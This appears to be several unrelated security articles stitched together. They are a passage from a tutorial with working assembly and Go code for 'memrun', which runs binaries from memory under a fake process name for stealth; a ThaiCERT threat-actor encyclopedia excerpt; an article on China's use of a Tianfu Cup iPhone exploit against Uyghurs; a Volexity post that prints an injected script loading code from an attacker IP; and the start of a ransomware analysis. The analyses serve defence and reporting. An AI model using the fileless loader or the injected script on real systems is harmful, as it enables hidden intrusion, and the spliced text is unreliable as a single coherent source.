;-----------------------------------------------------------------------------
; executing memory fd with targetProcessName
;-----------------------------------------------------------------------------
xor rdx, rdx
lea rsi, [argv]
lea rdi, [fdPath]
mov rax, SYS_EXECVE ; execve the memfd fd in memory
syscall
;-----------------------------------------------------------------------------
; exit normally if everything works as expected
;-----------------------------------------------------------------------------
jmp normal_exit
;-----------------------------------------------------------------------------
; initialized data
;-----------------------------------------------------------------------------
segment readable writable
fstat STAT
usageMsg db "Usage: memrun <path_to_elf_file> <process_name>", 0xA, 0
sourcePath db 256 dup 0
targetProcessName db 256 dup 0
bogusName db "", 0
fdPath db "/proc/self/fd/3", 0
argv dd targetProcessName
```
```go
package main
import (
"fmt"
"io/ioutil"
"os"
"syscall"
"unsafe"
)
// the constant values below are valid for x86_64
const (
mfdCloexec = 0x0001
memfdCreate = 319
)
func runFromMemory(displayName string, filePath string) {
fdName := "" // *string cannot be initialized
fd, _, _ := syscall.Syscall(memfdCreate, uintptr(unsafe.Pointer(&fdName)), uintptr(mfdCloexec), 0)
buffer, _ := ioutil.ReadFile(filePath)
_, _ = syscall.Write(int(fd), buffer)
fdPath := fmt.Sprintf("/proc/self/fd/%d", fd)
_ = syscall.Exec(fdPath, []string{displayName}, nil)
}
func main() {
lenArgs := len(os.Args)
if lenArgs < 3 || lenArgs > 3 {
fmt.Println("Usage: memrun process_name elf_binary")
os.Exit(1)
}
runFromMemory(os.Args[1], os.Args[2])
}
```
## See it in Action
Allow me to show it in action. Let’s start by creating a simple target file in C, named `target.c`. The file will try to open itself for reading and if it can’t, it will print a message forever every 5 seconds. We will execute it from memory:
```c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
printf("My process ID : %d\n", getpid());
FILE *myself = fopen(argv[0], "r");
if (myself == NULL) {
while(1) {
printf("I can't find myself, I must be running from memory!\n");
sleep(5);
}
} else {
printf("I am just a regular boring file being executed from the disk...\n");
}
return 0;
}
```
Now we build `target.c`:
```
$ gcc target.c -o target
```
We should also build our FASM or Go tool; I will use the assembly one here:
```
$ fasm memrun.asm
```
Running the file normally gives us this:
```
$ ./target
My process ID : 4944
I am just a regular boring file being executed from the disk...
```
But using `memrun` to run it will be totally different:
```
$ ./memrun target MASTER_HACKER_PROCESS_NAME_1337
My process ID : 4945
I can't find myself, I must be running from memory!
I can't find myself, I must be running from memory!
```
Furthermore, if you look for its pid with the `ps` utility, this is what you get:
```
$ ps -f 4945
UID PID PPID C STIME TTY STAT TIME CMD
guitmz 4945 4842 0 15:31 pts/0 S+ 0:00 MASTER_HACKER_PROCESS_NAME_1337
```
Finally, let’s check the process directory:
```
$ ls -l /proc/4945/{cwd,exe}
lrwxrwxrwx 1 guitmz guitmz 0 Mar 27 15:38 /proc/4945/cwd -> /home/guitmz/memrun/assembly
lrwxrwxrwx 1 guitmz guitmz 0 Mar 27 15:38 /proc/4945/exe -> /memfd: (deleted)
```
Note the `/memfd: (deleted)` part, no actual file on disk for this process. For those who know, this can be an interesting technique to run stealthy binaries in Linux. You can go even further by giving it a proper name (like a real Linux process) and detach it from the tty and change its cwd with some simple approaches. Tip: `fork` is your friend. |
# Threat Group Cards: A Threat Actor Encyclopedia
## Introduction
When analyzing security incidents, we always face the question of which adversary we are possibly dealing with and what we know about their prior engagements and TTP, to get a better understanding of how to approach and what else to look for. This document aims to create full profiles of all threat groups worldwide that have been identified with all research generously shared by anti-virus and security research organizations over the years. It can be used as “threat group cards” to have everything together in an elaborate profile for each threat group. All dates shown in the cards are the dates when the stated activities started, not necessarily when the reports about them came out.
All information in this document comes from public sources (OSINT). The difficult part of attributing campaigns to actors has been done by those security research organizations as well. What makes this difficult is the fact that there may be some overlap between threat groups, where they share tools or people move between groups, or when groups suddenly change tactics or type of target.
As a National CERT, ThaiCERT has a strictly neutral role, and everything collected in this document does in no way signify specific endorsements, placing blame on countries, or taking sides. Compiling this document has been a tremendously interesting journey into the dark world of cybercrime and the groups associated with it.
## Approach
In order to obtain an initial set of actors, we perused the public archives from MISP, MITRE, and the volunteer overview on Google Docs. Generally, those, as well as media reports about threats, tend to lump everything together as aliases or synonyms – be it actual group names as tracked by research organizations, alleged (state) sponsor names, individual campaigns run by the group, or specific pieces of malware used by the group. In this report, aliases are only listed as such if we could realistically determine it to be a fact, generally because we found which organization gave it that name. Everything else known about each actor has been split off into the relevant fields (sponsors, operations, tools).
The next step was to search our Risk Intelligence archive and after that, using our favorite Internet search engine for any public news about each and every actor to find all their campaigns and other activities that have been discovered. Analysis of those reports created the total overview of all tools used and where this actor has been observed in terms of countries and sectors. Lastly, we went over the entire rich archive known as Malpedia to augment the set with malware names that had not appeared in the reports we saw. In each step, we took great care to make sure only Open Source Intelligence appeared in this document.
## Legal Notice
This encyclopedia has been developed to catalog all known important adversaries to information security, with the aim to get a better understanding of international threats and to aid in faster response to future incidents. The content is based on the public knowledge of the security community and not solely the view of ThaiCERT and ETDA. It may not necessarily represent state-of-the-art and it might be updated from time to time.
Third-party sources are quoted as appropriate. ThaiCERT is not responsible for the content of the external sources, including external websites, nor their continued availability, referenced in this encyclopedia. Where specific vendors or product names are given, those do not mean endorsement from ThaiCERT, but serve to document history only. This encyclopedia is intended for educational and informational purposes only. Neither ThaiCERT nor any person acting on its behalf is responsible for the use that might be made of the information contained in this encyclopedia. All information contained herein is provided on an “As Is” basis with no warranty whatsoever.
## Acknowledgements
ThaiCERT expresses our sincere gratitude to the various CERT teams and security research organizations who peer-reviewed this document and provided valuable input and feedback. We are also very grateful for the security researchers who published so many detailed reports, as well as, indirectly, all the volunteers who contributed to the projects we could consult.
## Advanced Persistent Threat (APT) Groups
Cybereason provides the following definition of an Advanced Persistent Threat: An advanced persistent threat is a stealthy cyberattack in which a person or group gains unauthorized access to a network and remains undetected for an extended period. The term's definition was traditionally associated with nation-state sponsorship, but over the last few years, we’ve seen multiple examples of non-nation state groups conducting large-scale targeted intrusions for specific goals.
Apart from all the APT groups profiled in this chapter, there are of course others, but no public information is available about them. Especially CrowdStrike has been very active in researching APT groups and mentioned the following names in passing: Big Panda, Foxy Panda, Hammer Panda, Impersonating Panda, Judgement Panda, Karma Panda, Keyhole Panda, Kryptonite Panda, Maverick Panda, Nomad Panda, Poisonous Panda, Predator Panda, Toxic Panda, Union Panda, Wet Panda, Corsair Jackal, and Ghost Jackal.
## APT Group Profiles
### Anchor Panda, APT 14
- **Names**: Anchor Panda (CrowdStrike), APT 14 (Mandiant), Aluminium (Microsoft), QAZTeam
- **Country**: China
- **Sponsor**: State-sponsored, PLA Navy
- **Motivation**: Information theft and espionage
- **Description**: Anchor Panda is an adversary that CrowdStrike has tracked extensively over the last year targeting both civilian and military maritime operations in the green/brown water regions primarily in the area of operations of the South Sea Fleet of the PLA Navy. In addition to maritime operations in this region, Anchor Panda also heavily targeted western companies in the US, Germany, Sweden, the UK, and Australia, and other countries involved in maritime satellite systems, aerospace companies, and defense contractors. Embassies and diplomatic missions in the region, foreign intelligence services, and foreign governments with space programs were also targeted.
- **Observed Sectors**: Aerospace, Defense, Engineering, Government, Industrial, and NGOs in the green/brown water regions primarily in the area of operations of the South Sea Fleet of the PLA Navy.
- **Countries**: Australia, Germany, Sweden, UK, USA, and others.
- **Tools used**: Gh0st RAT, Poison Ivy, and Torn RAT.
### Allanite
- **Names**: Allanite (Dragos), Palmetto Fusion (DHS)
- **Country**: [Unknown]
- **Motivation**: Information theft and espionage
- **Description**: Allanite accesses business and industrial control (ICS) networks, conducts reconnaissance, and gathers intelligence in the United States and United Kingdom electric utility sectors. Allanite operators continue to maintain ICS network access to understand the operational environment necessary to develop disruptive capabilities and have ready access from which to disrupt electric utilities. Allanite uses email phishing campaigns and compromised websites called watering holes to steal credentials and gain access to target networks, including collecting and distributing screenshots of industrial control systems. Allanite operations limit themselves to information gathering and have not demonstrated any disruptive or damaging capabilities. Allanite conducts malware-less operations primarily leveraging legitimate and available tools in the Windows operating system.
- **Observed Sectors**: Energy.
- **Countries**: UK and USA.
- **Tools used**: Inveigh, Powershell scripts, PSExec, SecretsDump, and THC Hydra.
### APT 3, Gothic Panda, Buckeye
- **Names**: APT 3 (Mandiant), Gothic Panda (CrowdStrike), Buckeye (Symantec), TG-0110 (SecureWorks), UPS Team (Symantec), Group 6 (Talos)
- **Country**: China
- **Sponsor**: State-sponsored, Ministry of State Security and Internet security firm Guangzhou Bo Yu Information Technology Company Limited (“Boyusec”).
- **Motivation**: Information theft and espionage
- **Description**: APT3 is a sophisticated threat group that has been active since at least 2010. APT3 utilizes a broad range of tools and techniques including spear-phishing attacks, zero-day exploits, and numerous unique and publicly available remote access tools (RAT). Victims of APT3 intrusions include companies in the defense, telecommunications, transportation, and advanced technology sectors — as well as government departments and bureaus in Hong Kong, the U.S., and several other countries.
- **Observed Sectors**: Aerospace, Construction, Defense, High-Tech, Manufacturing, Technology, Telecommunications, and Transportation.
- **Countries**: Belgium, Hong Kong, Italy, Luxembourg, Philippines, Sweden, UK, USA, and Vietnam.
- **Tools used**: APT3 Keylogger, Bemstour, CookieCutter, DoublePulsar, EternalBlue, HTran, Hupigon, Kaba, LaZagne, OSInfo, Pirpi, PlugX, shareip, SHOTPUT, TTCalc, w32times, and several 0-days for IE, Firefox, and Flash.
### APT 5
- **Names**: APT 5 (FireEye)
- **Country**: China
- **Motivation**: Information theft and espionage
- **Description**: APT5 has been particularly focused on telecommunications and technology companies. More than half of the organizations targeted or breached by APT5 operate in these sectors. APT5 has been active since at least 2007 and appears to be a large threat group that consists of several subgroups, often with distinct tactics and infrastructure. APT5 has targeted or breached organizations across multiple industries, but its focus appears to be on telecommunications and technology companies, especially information about satellite communications.
- **Observed Sectors**: Defense, High-Tech, Industrial, Technology, and Telecommunications.
- **Countries**: Southeast Asia.
- **Tools used**: LEOUNCIA.
### APT 6
- **Names**: APT 6 (FireEye), 1.php Group (Zscaler)
- **Country**: China
- **Motivation**: Information theft and espionage
- **Description**: The FBI issued a rare bulletin admitting that APT6 hacked into US government computer systems as far back as 2011 and for years stole sensitive data. The FBI alert was issued in February and went largely unnoticed. Details regarding the actual attack and what government systems were infected are scant. Government officials said they knew the initial attack occurred in 2011, but are unaware of who specifically is behind the attacks.
- **Observed Sectors**: Government.
- **Countries**: USA.
- **Tools used**: Poison Ivy.
### APT 12, Numbered Panda
- **Names**: APT 12 (Mandiant), Numbered Panda (CrowdStrike), TG-2754 (SecureWorks), BeeBus (FireEye), Calc Team (Symantec), Group 22 (Talos), Crimson Iron (ThreatConnect)
- **Country**: China
- **Sponsor**: State-sponsored
- **Motivation**: Information theft and espionage
- **Description**: Numbered Panda has a long list of high-profile victims and is known by several names including DYNCALC, IXESHE, JOY RAT, APT-12, etc. Numbered Panda has targeted a variety of victims including media outlets, high-tech companies, and multiple governments. Numbered Panda has targeted organizations in time-sensitive operations such as the Fukushima Reactor Incident of 2011, likely filling intelligence gaps in the ground cleanup/mitigation operations. Screen saver files, which are binary executables and PDF documents, are common Numbered Panda weaponization tactics.
- **Observed Sectors**: Defense, Electronics, Government, High-Tech, Telecommunications, and journalists.
- **Countries**: East Asia (mostly Japan and Taiwan).
- **Tools used**: AUMLIB, DynCalc/DNSCalc, ETUMBOT, HIGHTIDE, IXESHE, RapidStealer, RIPTIDE, THREEBYTE, and WaterSpout.
### APT 16, SVCMONDR
- **Names**: APT 16 (Mandiant), SVCMONDR (Kaspersky)
- **Country**: China
- **Motivation**: Information theft and espionage
- **Description**: Between November 26, 2015, and December 1, 2015, known and suspected China-based APT groups launched several spear-phishing attacks targeting Japanese and Taiwanese organizations in the high-tech, government services, media, and financial services industries. Each campaign delivered a malicious Microsoft Word document exploiting the EPS dict copy use-after-free vulnerability, and the local Windows privilege escalation vulnerability CVE-2015-1701.
- **Observed Sectors**: Financial, Government, High-Tech, and Media.
- **Countries**: Japan, Taiwan, and Thailand.
- **Tools used**: ELMER, IRONHALO, and SVCMONDR.
### APT 17, Deputy Dog
- **Names**: APT 17 (Mandiant), Tailgater Team (Symantec), Dogfish (iDefense), Deputy Dog (iDefense)
- **Country**: China
- **Sponsor**: State-sponsored
- **Motivation**: Information theft and espionage
- **Description**: APT 17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. This group appears to be closely associated with Hidden Lynx, Aurora Panda.
- **Observed Sectors**: Defense, Government, IT, Mining, NGOs, and lawyers.
- **Countries**: Belgium, China, Germany, Indonesia, Italy, Japan, Netherlands, Switzerland, Russia, UK, and USA.
- **Tools used**: 9002 RAT, BLACKCOFFEE, DeputyDog, HiKit, PlugX, and several 0-days for IE.
### APT 18, Dynamite Panda, Wekby
- **Names**: APT 18 (Mandiant), Dynamite Panda (CrowdStrike), TG-0416 (SecureWorks), Wekby (Palo Alto), Scandium (Microsoft)
- **Country**: China
- **Sponsor**: State-sponsored, PLA Navy
- **Motivation**: Information theft and espionage
- **Description**: Wekby has been active for a number of years, targeting various industries such as healthcare, telecommunications, aerospace, defense, and high tech. The group is known to leverage recently released exploits very shortly after those exploits are available.
- **Observed Sectors**: Aerospace, Biotechnology, Construction, Defense, Education, Engineering, Healthcare, High-Tech, Telecommunications, and Transportation.
- **Countries**: USA.
- **Tools used**: Gh0st RAT, hcdLoader, HTTPBrowser, Pisloader, Roseam, StickyFingers, and 0-day exploits for Flash.
### APT 19, C0d0so
- **Names**: APT 19 (Mandiant), Codoso (CrowdStrike), Sunshop Group (FireEye)
- **Country**: China
- **Sponsor**: A group likely composed of freelancers, with some degree of sponsorship by the Chinese government.
- **Motivation**: Information theft and espionage
- **Description**: APT 19 is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms.
- **Observed Sectors**: Defense, Education, Energy, Financial, Government, High-Tech, Manufacturing, Pharmaceutical, Telecommunications, Think Tanks, political dissidents, and Forbes.
- **Tools used**: C0d0so, Cobalt Strike, Empire, Derusbi, and a 0-day for Flash.
### APT 20, Violin Panda
- **Names**: APT 20 (FireEye), APT 8 (Mandiant), Violin Panda (Crowdstrike), TH3Bug (Palo Alto)
- **Country**: China
- **Motivation**: Information theft and espionage
- **Description**: APT 20 has been involved in a series of APT watering hole attacks. Watering hole attacks are an increasingly popular component of APT campaigns, as many people are more aware of spear phishing and are less likely to open documents or click on links in unsolicited emails.
- **Observed Sectors**: Chemical, Construction, Defense, Energy, Engineering, Financial, Government, Healthcare, High-Tech, Pharmaceutical, Telecommunications, and Transportation.
- **Countries**: East Asia, Thailand, USA, and Uyghur sympathizers.
- **Tools used**: CAKELOG, CANDYCLOG, CETTRA, COOKIECLOG, PlugX, and Poison Ivy.
### APT 29, Cozy Bear, The Dukes
- **Names**: APT 29 (Mandiant), Cozy Bear (CrowdStrike), The Dukes (F-Secure)
- **Country**: Russia
- **Sponsor**: State-sponsored
- **Motivation**: Information theft and espionage
- **Description**: The Dukes are a well-resourced, highly dedicated, and organized cyberespionage group that has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. The Dukes primarily target Western governments and related organizations.
- **Observed Sectors**: Defense, Energy, Government, Imagery, Law Enforcement, Media, NGOs, Pharmaceutical, Telecommunications, Think Tanks, and Transportation.
- **Countries**: Australia, Azerbaijan, Belarus, Belgium, Brazil, Bulgaria, China, Cyprus, Czech, France, Georgia, Germany, Hungary, India, Ireland, Israel, Japan, Kazakhstan, Kyrgyzstan, Latvia, Lebanon, Lithuania, Luxembourg, Mexico, Montenegro, Netherlands, New Zealand, Portugal, Romania, Russia, Slovenia, Spain, South Korea, Turkey, Uganda, Ukraine, USA, Uzbekistan, and NATO.
- **Tools used**: ATI-Agent, CloudDuke, Cobalt Strike, CosmicDuke, CozyDuke, CozyCar, GeminiDuke, HammerDuke, HAMMERTOSS, meek, Mimikatz, MiniDuke, OnionDuke, PinchDuke, POSHSPY, PowerDuke, SeaDaddy, SeaDuke, and tDiscoverer.
### APT 30, Override Panda
- **Names**: APT 30 (Mandiant), Override Panda (CrowdStrike)
- **Country**: China
- **Sponsor**: State-sponsored
- **Motivation**: Information theft and espionage
- **Description**: APT 30 is a threat group suspected to be associated with the Chinese government. The group has been observed targeting government and commercial entities holding key political, economic, and military information about the region.
- **Observed Sectors**: Defense, Government, and ASEAN.
- **Countries**: Bhutan, Brunei, Cambodia, India, Indonesia, Japan, Laos, Malaysia, Myanmar, Nepal, Philippines, Saudi Arabia, Singapore, South Korea, Thailand, Vietnam, and USA.
- **Tools used**: BACKBEND, BACKSPACE, CREAMSICLE, FLASHFLOOD, GEMCUTTER, MILKMAID, NETEAGLE, ORANGEADE, SHIPSHAPE, and SPACESHIP.
### APT 32, OceanLotus, SeaLotus
- **Names**: APT 32 (Mandiant), OceanLotus (SkyEye Labs), SeaLotus, APT-C-00 (360), Ocean Buffalo (CrowdStrike)
- **Country**: Vietnam
- **Sponsor**: State-sponsored
- **Motivation**: Information theft and espionage
- **Description**: APT32 has been observed targeting foreign corporations with a vested interest in Vietnam’s manufacturing, consumer products, and hospitality sectors. The group has also targeted foreign governments, as well as Vietnamese dissidents and journalists.
- **Observed Sectors**: Government, Hospitality, Manufacturing, Retail, dissidents, journalists, and ASEAN.
- **Countries**: Australia, Brunei, Cambodia, China, Germany, Indonesia, Laos, Malaysia, Myanmar, Philippines, Singapore, Thailand, USA, and Vietnam.
- **Tools used**: CACTUSTORCH, Cobalt Strike, Cuegoe, Denis, fingerprintjs2, Goopy, KerrDown, KOMPROGO, Mimikatz, Nishang, OSX_OCEANLOTUS.D, PHOREAL, PowerSploit, Salgorea, SOUNDBITE, Terracotta VPN, WINDSHIELD, and 0-day exploits in MS Office.
### APT 33, Elfin
- **Names**: APT 33 (Mandiant), Elfin (Symantec), Magnallium (Dragos)
- **Country**: Iran
- **Sponsor**: State-sponsored
- **Motivation**: Information theft, espionage, and sabotage
- **Description**: APT33 is a capable group that has carried out cyber espionage operations since at least 2013. APT33 has targeted organizations in the aviation sector involved in both military and commercial capacities, as well as organizations in the energy sector with ties to petrochemical production.
- **Observed Sectors**: Aviation, Defense, Energy, Petrochemical, and others.
- **Countries**: Saudi Arabia, South Korea, and USA.
- **Tools used**: AutoIt backdoor, DarkComet, DROPSHOT, Empire, LaZagne, Mimikatz, NanoCore RAT, NETWIRE RC, PoshC2, PowerSploit, POWERTON, PupyRAT, QuasarRAT, Remcos, Ruler, Shamoon, SHAPESHIFT, and TURNEDUP. |
# How China Turned a Prize-Winning iPhone Hack Against the Uyghurs
Patrick Howell O'Neill
Beijing secretly used an award-winning iPhone hack to spy on Uyghurs. The United States tracked the attack and informed Apple. The Tianfu Cup is a “venue for China to get zero-days,” say experts.
In March 2017, a group of hackers from China arrived in Vancouver with one goal: find hidden weak spots inside the world’s most popular technologies. Google’s Chrome browser, Microsoft’s Windows operating system, and Apple’s iPhones were all in the crosshairs. But no one was breaking the law. These were just some of the people taking part in Pwn2Own, one of the world’s most prestigious hacking competitions. It was the 10th anniversary for Pwn2Own, a contest that draws elite hackers from around the globe with the lure of big cash prizes if they manage to exploit previously undiscovered software vulnerabilities, known as “zero-days.” Once a flaw is found, the details are handed over to the companies involved, giving them time to fix it. The hacker, meanwhile, walks away with a financial reward and eternal bragging rights.
For years, Chinese hackers were the most dominant forces at events like Pwn2Own, earning millions of dollars in prizes and establishing themselves among the elite. But in 2017, that all stopped. One of China’s elite hacked an iPhone. Virtually overnight, Chinese intelligence used it as a weapon against a besieged minority ethnic group, striking before Apple could fix the problem. It was a brazen act performed in broad daylight.
In an unexpected statement, the billionaire founder and CEO of the Chinese cybersecurity giant Qihoo 360—one of the most important technology firms in China—publicly criticized Chinese citizens who went overseas to take part in hacking competitions. In an interview with the Chinese news site Sina, Zhou Hongyi said that performing well in such events represented merely an “imaginary” success. Zhou warned that once Chinese hackers show off vulnerabilities at overseas competitions, they can “no longer be used.” Instead, he argued, the hackers and their knowledge should “stay in China” so that they could recognize the true importance and “strategic value” of the software vulnerabilities.
Beijing agreed. Soon, the Chinese government banned cybersecurity researchers from attending overseas hacking competitions. Just months later, a new competition popped up inside China to take the place of the international contests. The Tianfu Cup, as it was called, offered prizes that added up to over a million dollars.
The inaugural event was held in November 2018. The $200,000 top prize went to Qihoo 360 researcher Qixun Zhao, who showed off a remarkable chain of exploits that allowed him to easily and reliably take control of even the newest and most up-to-date iPhones. From a starting point within the Safari web browser, he found a weakness in the core of the iPhone's operating system, its kernel. The result? A remote attacker could take over any iPhone that visited a web page containing Qixun’s malicious code. It’s the kind of hack that can potentially be sold for millions of dollars on the open market to give criminals or governments the ability to spy on large numbers of people. Qixun named it “Chaos.”
Two months later, in January 2019, Apple issued an update that fixed the flaw. There was little fanfare—just a quick note of thanks to those who discovered it. But in August of that year, Google published an extraordinary analysis into a hacking campaign it said was “exploiting iPhones en masse.” Researchers dissected five distinct exploit chains they’d spotted “in the wild.” These included the exploit that won Qixun the top prize at Tianfu, which they said had also been discovered by an unnamed “attacker.” The Google researchers pointed out similarities between the attacks they caught being used in the real world and Chaos. What their deep dive omitted, however, were the identities of the victims and the attackers: Uyghur Muslims and the Chinese government.
## A Campaign of Oppression
For the past seven years, China has committed human rights abuses against the Uyghur people and other minority groups in the Western province of Xinjiang. Well-documented aspects of the campaign include detention camps, systematic compulsory sterilization, organized torture and rape, forced labor, and an unparalleled surveillance effort. Officials in Beijing argue that China is acting to fight “terrorism and extremism,” but the United States, among other countries, has called the actions genocide. The abuses add up to an unprecedented high-tech campaign of oppression that dominates Uyghur lives, relying in part on targeted hacking campaigns.
China’s hacking of Uyghurs is so aggressive that it is effectively global, extending far beyond the country’s own borders. It targets journalists, dissidents, and anyone who raises Beijing’s suspicions of insufficient loyalty. Shortly after Google’s researchers noted the attacks, media reports connected the dots: the targets of the campaign that used the Chaos exploit were the Uyghur people, and the hackers were linked to the Chinese government. Apple published a rare blog post that confirmed the attack had taken place over two months: that is, the period beginning immediately after Qixun won the Tianfu Cup and stretching until Apple issued the fix.
MIT Technology Review has learned that United States government surveillance independently spotted the Chaos exploit being used against Uyghurs and informed Apple. The Americans concluded that the Chinese essentially followed the “strategic value” plan laid out by Qihoo’s Zhou Hongyi; that the Tianfu Cup had generated an important hack; and that the exploit had been quickly handed over to Chinese intelligence, which then used it to spy on Uyghurs.
The US collected the full details of the exploit used to hack the Uyghurs, and it matched Tianfu’s Chaos hack, MIT Technology Review has learned. The US quietly informed Apple, which had already been tracking the attack on its own and reached the same conclusion: the Tianfu hack and the Uyghur hack were one and the same. The company prioritized a difficult fix. Qihoo 360 and Tianfu Cup did not respond to multiple requests for comment. When we contacted Qixun Zhao via Twitter, he strongly denied involvement, although he also said he couldn’t remember who came into possession of the exploit code. At first, he suggested the exploit wielded against Uyghurs was probably used “after the patch release.” On the contrary, both Google and Apple have extensively documented how this exploit was used before January 2019. He also pointed out that his ‘Chaos’ exploit shared code from other hackers. In fact, within Apple and US intelligence, the conclusion has long been that these exploits are not merely similar—they are the same. Although Qixun wrote the exploit, there is nothing to suggest he was personally involved in what happened to it after the Tianfu event (Chinese law requires citizens and organizations to provide support and assistance to the country’s intelligence agencies whenever asked).
By the time the vulnerabilities were closed, Tianfu had achieved its goal. “The original decision to not allow the hackers to go abroad to competitions seems to be motivated by a desire to keep discovered vulnerabilities inside of China,” says Adam Segal, an expert on Chinese cybersecurity policy at the Council for Foreign Relations. It also cut top Chinese hackers from other income sources “so they are forced into a closer connection with the state and established companies,” he says.
The incident is stark. One of China’s elite hacked an iPhone, and won public acclaim and a large amount of money for doing so. Virtually overnight, Chinese intelligence used it as a weapon against a besieged minority ethnic group, striking before Apple could fix the problem. It was a brazen act performed in broad daylight and with the knowledge that there would be no consequences to speak of.
## Concerning Links
Today, the Tianfu Cup is heading into its third year, and it’s sponsored by some of China’s biggest tech companies: Alibaba, Baidu, and Qihoo 360 are among the organizers. But American officials and security experts are increasingly concerned about the links between those involved in the competition and the Chinese military. Qihoo, which is valued at over $9 billion, was one of dozens of Chinese companies added to a trade blacklist by the United States in 2020 after a US Department of Commerce assessment that the company might support Chinese military activity.
Others involved in the event have also raised alarms in Washington. The Beijing company Topsec, which helps organize Tianfu, allegedly provides hacking training, services, and recruitment for the government and has employed nationalist hackers, according to US officials. The company is linked to cyber-espionage campaigns including the 2015 hack of the US insurance giant Anthem, a connection that was accidentally exposed when hackers used the same server to try to break into a US military contractor and to host a Chinese university hacking competition.
Other organizers and sponsors include NSFocus, which grew directly out of the earliest Chinese nationalist hacker movement called the Green Army, and Venus Tech, a prolific Chinese military contractor that has been linked to offensive hacking. One other Tianfu organizer, the state-owned Chinese Electronics Technology Group, has a surveillance subsidiary called Hikvision, which provides “Uyghur analytics” and facial recognition tools to the Chinese government. It was added to a US trade blacklist in 2019.
US experts say the links between the event and Chinese intelligence are clear, however. “I think it is not only a venue for China to get zero-days but it’s also a big recruiting venue,” says Scott Henderson, an analyst on the cyber espionage team at FireEye, a major security company based in California.
Tianfu’s links to Uyghur surveillance and genocide show that getting early access to bugs can be a powerful weapon. In fact, the “reckless” hacking spree that Chinese groups launched against Microsoft Exchange in early 2021 bears some striking similarities. In that case, a Taiwanese researcher uncovered the security flaws and passed them to Microsoft, which then privately shared them with security partners. But before a fix could be released, Chinese hacking groups started exploiting the flaw all around the world. Microsoft, which was forced to rush out a fix two weeks earlier than planned, is investigating the potential that the bug was leaked.
These bugs are incredibly valuable, not just in financial terms, but in their capacity to create an open window for espionage and oppression. Google researcher Ian Beer said as much in the original report detailing the exploit chain. “I shan’t get into a discussion of whether these exploits cost $1 million, $2 million, or $20 million,” he wrote. “I will instead suggest that all of those price tags seem low for the capability to target and monitor the private activities of entire populations in real time.” |
# Afghan Government Compromise: Browser Beware
Posted on June 12, 2015 by Steven Adair
Visiting a wide-ranging number of websites associated with the Government of Afghanistan may yield visitors an unwanted surprise. For the second time this year, malicious code has surfaced on cdn.afghanistan.af, a host that serves as a content delivery network (CDN) for the Afghan government. Javascript code from this system is found on several different Afghan Offices, Ministries, and Authorities. This strategic web compromise (SWC) against the Afghan CDN server has effectively turned a large portion of the government’s websites into attack surfaces against visitors. Volexity recently detected malicious code being loaded after a user visited the websites for the President of Afghanistan (www.president.gov.af).
## Second Round of Attacks
In a previous attack highlighted earlier in the year by ThreatConnect, one of the two primary Javascript files accessed from the CDN system was modified to load code from two different malicious URLs. In the past attacks, the following file was modified to load unwanted Javascript:
```
http://cdn.afghanistan.af/scripts/gop-script.js
```
In these instances, the offending code was easily identifiable, as the attackers simply prepended document.write statements to the very top of the gop-script.js file. However, this new round of malicious code has two primary differences. The first difference is the attackers chose to modify a different file in this round. The offending code is no longer present in gop-script.js, as this file was cleaned up some time ago. However, malicious code is now found in the following Javascript code on the Afghan CDN website:
```
http://cdn.afghanistan.af/scripts/jquery-1.4.2.min.js
```
The next major difference is the attackers went through more of an effort to obfuscate their activity by appending their code to the end of the file and by leveraging the Dean Edwards Packer with base62 encoding. In this instance, the packer effectively makes it more difficult to discern exactly what the attackers have done just by looking at the code. The image below shows the malicious code as it currently appears within the jquery-1.4.2.min.js file:
```
document.write(‘<script type=”text/javascript” src=\”hxxp://176.58.101.24/Jquery/Jquery.js\”></script>’);
```
This code will cause a visitor to attempt to retrieve Javascript from the Linode IP address 176.58.101.24 and load it into the browser.
## Selective Exploitation
One of the more interesting tactics that APT attackers have been employing in recent years is the usage of IP address whitelisting. Volexity believes that the attackers behind the Afghan Government compromise likely have a specific set of targets that are potential recipients of malicious code via the 176.58.101.24 address. In all observed instances thus far, only HTTP 403 (Forbidden) responses have been observed. This threat group has used similar tactics on other websites involved in strategic web compromises in the past as well. The only real way to identify the targets is to observe the code actually being seen, or see the whitelist from the server itself. At this point, we can only speculate that Government and Defense entities are likely the intended targets of this campaign. If you check your logs and find HTTP 200 results, we would like to hear from you.
## Network Indicators
The most straightforward and primary network indicator at this time is looking for communication with the IP address 176.58.101.24. ASN details via the Shadowserver IP-BGP service are shown below.
```
$ whois -h asn.shadowserver.org ‘origin 176.58.101.24’
15830 | 176.58.96.0/19 | TELECITY | GB | linode.com | Linode LLC
```
This entry was posted in APT, Exploits, Vulnerabilities and tagged Afghanistan. |
# Dot "MZP" Ransomware Analysis
Happy new year y'all. And with it there's new Ransomware to analyze, so come along for the ride :D
Dot "MZP" Ransomware was first discovered by AmigoA and AkhmendTaia on the 31st of December 2019. AV detections and ransom note contents didn't seem to match any previously present strain. The note is delivered via a .txt file with a strange numeric victim ID and only one contact email address. The extension appended to encrypted files seems to be a random 8-character lowercase string.
It seems nothing special, but early AV detections are uninformative. Because of the "MZP" (4D 5A 50) magic at the beginning of the executable file, they dubbed the malware "MZP" Ransomware. The "P" after the MZ magic string indicates that the binary was built with Borland Delphi, and P stands for Pascal (the programming language).
In my opinion, the name "MZP Ransomware" is too generic to be useful for future reference, so I'd like to propose the name "Dot Ransomware" because of the file icon found with the malware samples. It shows the character "Dot" from the Warner Bros cartoon series "Animaniacs," popular in the mid-1990s.
Two things to note about the output of "Detect it easy" for this sample:
1. It confirms that the Ransomware was built with Borland Delphi (Version 4).
2. This sample seems to be packed with UPX 3.91. Running `upx -d 01.exe` yields the unpacked version. The hash sums can be found in the IOC section down below.
Let's try something new :D Up until now, I pretty much neglected memory dump analysis as a whole, but since I attended the workshop on Volatility at 36c3, I noticed what I'm missing out on. With `volatility -f IE9WIN7-20200102-171509.dmp --profile=Win7SP1x86_24000 pstree`, we can dump the process tree at the time of the capture. We can see that 01.exe is running as a subprocess of explorer.exe.
With the privs plugin, Volatility can show which process privileges are present, enabled, and/or enabled by default. Below you can see a screencapture of the output for the Ransomware. The plugins cmdscan and consoles sadly did not return any output for 01.exe.
Let's check out what IDR (Interactive Delphi Reconstructor) can tell us about the binary. First off: Strings.
